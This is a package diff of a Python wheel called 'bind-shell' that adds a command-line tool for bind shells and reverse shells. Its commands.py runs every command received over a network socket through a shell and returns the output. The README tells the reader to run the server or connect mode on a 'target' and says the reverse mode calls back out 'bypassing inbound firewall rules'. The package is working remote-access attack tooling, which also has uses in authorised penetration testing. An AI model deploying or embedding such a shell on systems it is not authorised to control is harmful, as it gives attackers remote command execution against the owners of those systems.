bind-shell 0.1.0__py3-none-any.whl

bind_shell/__init__.py

@@ -0,0 +1,12 @@
+import logging
+import sys
+
+import typer
+
+logger = logging.getLogger(__name__)
+logger.setLevel(logging.INFO)
+handler = logging.StreamHandler(sys.stdout)
+handler.setLevel(logging.INFO)
+logger.addHandler(handler)
+
+cli = typer.Typer()

bind_shell/__main__.py

@@ -0,0 +1,3 @@
+from bind_shell import cli
+
+cli()

bind_shell/app.py

@@ -0,0 +1,85 @@
+import secrets
+import socket
+import sys
+import urllib.request
+from typing import Annotated
+
+import typer
+
+from bind_shell import cli, logger
+from bind_shell.commands import run_client, run_connect, run_listen, run_server
+
+DEFAULT_PORT = 4444
+
+
+def main():
+    try:
+        cli()
+    except Exception as e:
+        typer.echo(f"{e.__class__.__name__}: {e}")
+        sys.exit(1)
+
+
+def _get_wan_ip() -> str | None:
+    try:
+        with urllib.request.urlopen("https://api.ipify.org", timeout=5) as resp:
+            return resp.read().decode()
+    except Exception:
+        return None
+
+
+def _get_lan_ip() -> str | None:
+    try:
+        with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
+            s.connect(("8.8.8.8", 80))
+            return s.getsockname()[0]
+    except Exception:
+        return None
+
+
+def get_ip() -> str | None:
+    return _get_wan_ip() or _get_lan_ip() or "localhost"
+
+
+def _generate_password() -> str:
+    return secrets.token_urlsafe(16)
+
+
+@cli.command(name="server", help="Bind shell: bind a port and execute commands from an incoming client")
+def server(
+    host: Annotated[str, typer.Option("--host", help="Host address to bind to")] = "0.0.0.0",
+    port: Annotated[int, typer.Option("--port", help="Port to listen on")] = DEFAULT_PORT,
+):
+    ip = get_ip()
+    password = _generate_password()
+    logger.info(f"Bind-Shell Connection: bind-shell client {ip} --port {port} --password {password}")
+    run_server(host=host, port=port, password=password)
+
+
+@cli.command(name="client", help="Bind shell: connect to a server and send commands interactively")
+def client(
+    host: Annotated[str, typer.Argument(help="Host address of the bind shell server")],
+    port: Annotated[int, typer.Option("--port", help="Port to connect to")] = DEFAULT_PORT,
+    password: Annotated[str, typer.Option("--password", help="Password for authentication")] = ...,
+):
+    run_client(host=host, port=port, password=password)
+
+
+@cli.command(name="listen", help="Reverse shell: bind a port and send commands to an incoming connector")
+def listen(
+    host: Annotated[str, typer.Option("--host", help="Host address to bind to")] = "0.0.0.0",
+    port: Annotated[int, typer.Option("--port", help="Port to listen on")] = DEFAULT_PORT,
+):
+    ip = get_ip()
+    password = _generate_password()
+    logger.info(f"Reverse-Shell Connection: bind-shell connect {ip} --port {port} --password {password}")
+    run_listen(host=host, port=port, password=password)
+
+
+@cli.command(name="connect", help="Reverse shell: connect out to a listener and execute its commands")
+def connect(
+    host: Annotated[str, typer.Argument(help="Host address of the reverse shell listener")],
+    port: Annotated[int, typer.Option("--port", help="Port to connect to")] = DEFAULT_PORT,
+    password: Annotated[str, typer.Option("--password", help="Password for authentication")] = ...,
+):
+    run_connect(host=host, port=port, password=password)

bind_shell/commands.py

@@ -0,0 +1,145 @@
+import socket
+import subprocess
+import sys
+import threading
+
+from bind_shell import logger
+
+BUFFER_SIZE = 4096
+CMD_TIMEOUT = 30
+PROMPT = b"bind-shell$ "
+
+
+def _auth_server(conn: socket.socket, password: str) -> bool:
+    conn.sendall(b"password: ")
+    try:
+        data = conn.recv(BUFFER_SIZE)
+    except (ConnectionResetError, BrokenPipeError):
+        return False
+    if data.decode(errors="replace").strip() == password:
+        conn.sendall(b"authenticated\n")
+        return True
+    conn.sendall(b"denied\n")
+    return False
+
+
+def _auth_client(sock: socket.socket, password: str) -> bool:
+    challenge = sock.recv(BUFFER_SIZE)
+    if challenge != b"password: ":
+        return False
+    sock.sendall(f"{password}\n".encode())
+    response = sock.recv(BUFFER_SIZE)
+    return response.strip() == b"authenticated"
+
+
+def _executor_loop(conn: socket.socket, prompt: bytes = PROMPT):
+    while True:
+        conn.sendall(prompt)
+        try:
+            data = conn.recv(BUFFER_SIZE)
+        except (ConnectionResetError, BrokenPipeError):
+            break
+        if not data:
+            break
+        cmd = data.decode(errors="replace").strip()
+        if cmd.lower() in ("exit", "quit"):
+            break
+        logger.info(f"$ {cmd}")
+        try:
+            result = subprocess.run(cmd, shell=True, capture_output=True, timeout=CMD_TIMEOUT)  # nosec
+            output = result.stdout + result.stderr
+        except subprocess.TimeoutExpired:
+            output = b"Command timed out\n"
+        except Exception as e:
+            output = f"{e}\n".encode()
+        conn.sendall(output or b"\n")
+
+
+def _interactive_loop(sock: socket.socket):
+    def _reader():
+        while True:
+            try:
+                data = sock.recv(BUFFER_SIZE)
+            except OSError:
+                break
+            if not data:
+                break
+            sys.stdout.buffer.write(data)
+            sys.stdout.buffer.flush()
+
+    threading.Thread(target=_reader, daemon=True).start()
+
+    try:
+        for line in sys.stdin:
+            sock.sendall(line.encode())
+    except OSError:
+        pass
+
+
+def _executor_session(conn: socket.socket, addr: tuple, password: str):
+    logger.info(f"Client connected: {addr[0]}:{addr[1]}")
+    if not _auth_server(conn, password):
+        logger.info(f"Authentication failed: {addr[0]}:{addr[1]}")
+        return
+    try:
+        _executor_loop(conn, prompt=f"bind-shell@{addr[0]}$ ".encode())
+    finally:
+        logger.info(f"Client disconnected: {addr[0]}:{addr[1]}")
+
+
+def _interactive_session(conn: socket.socket, addr: tuple, password: str):
+    if not _auth_server(conn, password):
+        sys.stdout.buffer.write(f"Authentication failed: {addr[0]}:{addr[1]}\n".encode())
+        sys.stdout.buffer.flush()
+        return
+    sys.stdout.buffer.write(f"Connected: {addr[0]}:{addr[1]}\n".encode())
+    sys.stdout.buffer.flush()
+    try:
+        _interactive_loop(conn)
+    finally:
+        sys.stdout.buffer.write(f"\nDisconnected: {addr[0]}:{addr[1]}\n".encode())
+        sys.stdout.buffer.flush()
+
+
+def run_server(host: str, port: int, password: str):
+    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
+        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        server.bind((host, port))
+        server.listen(1)
+        try:
+            while True:
+                conn, addr = server.accept()
+                threading.Thread(target=_executor_session, args=(conn, addr, password), daemon=True).start()
+        except KeyboardInterrupt:
+            pass
+
+
+def run_client(host: str, port: int, password: str):
+    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
+        sock.connect((host, port))
+        if not _auth_client(sock, password):
+            raise Exception("Authentication failed")
+        _interactive_loop(sock)
+
+
+def run_listen(host: str, port: int, password: str):
+    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
+        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        server.bind((host, port))
+        server.listen(1)
+        try:
+            while True:
+                conn, addr = server.accept()
+                with conn:
+                    _interactive_session(conn, addr, password)
+        except KeyboardInterrupt:
+            pass
+
+
+def run_connect(host: str, port: int, password: str):
+    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
+        sock.connect((host, port))
+        local_ip, local_port = sock.getsockname()
+        if not _auth_client(sock, password):
+            raise Exception("Authentication failed")
+        _executor_loop(sock, prompt=f"bind-shell@{local_ip}:{local_port}$ ".encode())

bind_shell-0.1.0.dist-info/METADATA

@@ -0,0 +1,125 @@
+Metadata-Version: 2.4
+Name: bind-shell
+Version: 0.1.0
+Summary: A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.
+License: MIT
+Author: Tyson Holub
+Author-email: tyson@tysonholub.com
+Requires-Python: >=3.10,<4.0
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Programming Language :: Python :: 3.13
+Classifier: Programming Language :: Python :: 3.14
+Requires-Dist: typer (>=0.13,<0.14)
+Description-Content-Type: text/markdown
+
+# bind-shell ![PyPi](https://img.shields.io/badge/python-3.10%20%7C%203.11%20%7C%203.12%20%7C%203.13-%2344CC11)
+
+A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.
+
+## Install
+
+Use [pipx](https://pypa.github.io/pipx/) to install globally in an isolated python environment.
+
+```bash
+pipx install bind-shell
+```
+
+## Usage
+
+```
+ Usage: bind-shell [OPTIONS] COMMAND [ARGS]...
+
+╭─ Options ───────────────────────────────────────────────────────────────────────────────────╮
+│ --install-completion          Install completion for the current shell.                     │
+│ --show-completion             Show completion for the current shell, to copy it or          │
+│                               customize the installation.                                   │
+│ --help                        Show this message and exit.                                   │
+╰─────────────────────────────────────────────────────────────────────────────────────────────╯
+╭─ Commands ──────────────────────────────────────────────────────────────────────────────────╮
+│ server    Bind shell: bind a port and execute commands from an incoming client               │
+│ client    Bind shell: connect to a server and send commands interactively                   │
+│ listen    Reverse shell: bind a port and send commands to an incoming connector              │
+│ connect   Reverse shell: connect out to a listener and execute its commands                 │
+╰─────────────────────────────────────────────────────────────────────────────────────────────╯
+```
+
+### Bind shell
+
+In a bind shell the **target runs `server`** — it binds a port and waits. The operator runs `client` to connect in and issue commands.
+
+**On the target:**
+
+```bash
+$ bind-shell server
+Bind-Shell Connection: bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg
+```
+
+**On the operator:**
+
+```bash
+$ bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg
+```
+
+### Reverse shell
+
+In a reverse shell the **operator runs `listen`** — it binds a port and waits. The target runs `connect` to call back out, bypassing inbound firewall rules.
+
+**On the operator:**
+
+```bash
+$ bind-shell listen
+Reverse-Shell Connection: bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw
+```
+
+**On the target:**
+
+```bash
+$ bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw
+```
+
+### Options
+
+All commands accept `--port` (default: `4444`). `server` and `listen` also accept `--host` to control the bind address (default: `0.0.0.0`). `client` and `connect` require `--password` generated by `server` or `listen`.
+
+```bash
+bind-shell server --host 0.0.0.0 --port 4444
+bind-shell client <ip> --port 4444 --password some-pass
+bind-shell listen --host 0.0.0.0 --port 4444
+bind-shell connect <ip> --port 4444 --password some-pass
+```
+
+Type `exit` or `quit` to close a session.
+
+## Dev Prerequisites
+
+- python >=3.10
+- [pipx](https://pypa.github.io/pipx/), an optional tool for prerequisite installs
+- [poetry](https://github.com/python-poetry/poetry) (install globally with `pipx install poetry`)
+- [flake8](https://github.com/PyCQA/flake8) (install globally with `pipx install flake8`)
+    - [flake8-bugbear](https://github.com/PyCQA/flake8-bugbear) extension (install with `pipx inject flake8 flake8-bugbear`)
+    - [flake8-naming](https://github.com/PyCQA/pep8-naming) extension (install with `pipx inject flake8 pep8-naming`)
+- [black](https://github.com/psf/black) (install globally with `pipx install black`)
+- [pre-commit](https://github.com/pre-commit/pre-commit) (install globally with `pipx install pre-commit`)
+- [just](https://github.com/casey/just), a Justfile command runner
+
+## Updating python version
+
+- Update python version in `Dev Prerequisites` above
+- Update \[tool.poetry.dependencies\] section of `pyproject.toml`
+- Update pyupgrade hook in `.pre-commit-config.yaml`
+- Update python version in `.gitlab-ci.yml`
+
+## Justfile Targets
+
+- `install`: installs poetry dependencies and pre-commit git hooks
+- `update_boilerplate`: fetches and applies updates from the boilerplate remote
+- `test`: runs pytest with test coverage report
+
+## Boilerplate
+
+This project tracks the [pyplate](git@gitlab.com:tysonholub/pyplate.git) boilerplate via the `boilerplate` git remote. Run `just update_boilerplate` to pull latest changes. **NOTE**: keep the boilerplate remote history intact to successfully merge future updates.
+

bind_shell-0.1.0.dist-info/RECORD

@@ -0,0 +1,8 @@
+bind_shell/__init__.py,sha256=g6St0rtB1Vrt8nR38Zr9vgC23edyfSYjuQ9S3BFCRWQ,231
+bind_shell/__main__.py,sha256=BL6dBHeTIyQg3Cf3nFtj0LrdXBPt9WLBCVNN3XaUFXI,34
+bind_shell/app.py,sha256=bkvD5sIrGs7ShRKz7wdnrQ_7XYaSBGioJruIp2QUBsg,2933
+bind_shell/commands.py,sha256=gDEKuDDT2e9nSvA53Eo7Tbt7TTFsJLng7RnTdJnXi-Y,4707
+bind_shell-0.1.0.dist-info/METADATA,sha256=sl2-KW2dQje214ZCHbpeOuqZHqIP5fcX0uHXIZ-Hp3M,6016
+bind_shell-0.1.0.dist-info/WHEEL,sha256=EGEvSphFYqXKs23-kQBeyNoJP1nrT8ZJKQoi5p5DYL8,88
+bind_shell-0.1.0.dist-info/entry_points.txt,sha256=dOHdvdOTFEf5ormc-mamXjBXvqVwMJLQ-KLd41al1lM,50
+bind_shell-0.1.0.dist-info/RECORD,,

bind_shell-0.1.0.dist-info/WHEEL

@@ -0,0 +1,4 @@
+Wheel-Version: 1.0
+Generator: poetry-core 2.4.0
+Root-Is-Purelib: true
+Tag: py3-none-any

bind_shell-0.1.0.dist-info/entry_points.txt

@@ -0,0 +1,3 @@
+[console_scripts]
+bind-shell=bind_shell.app:main
+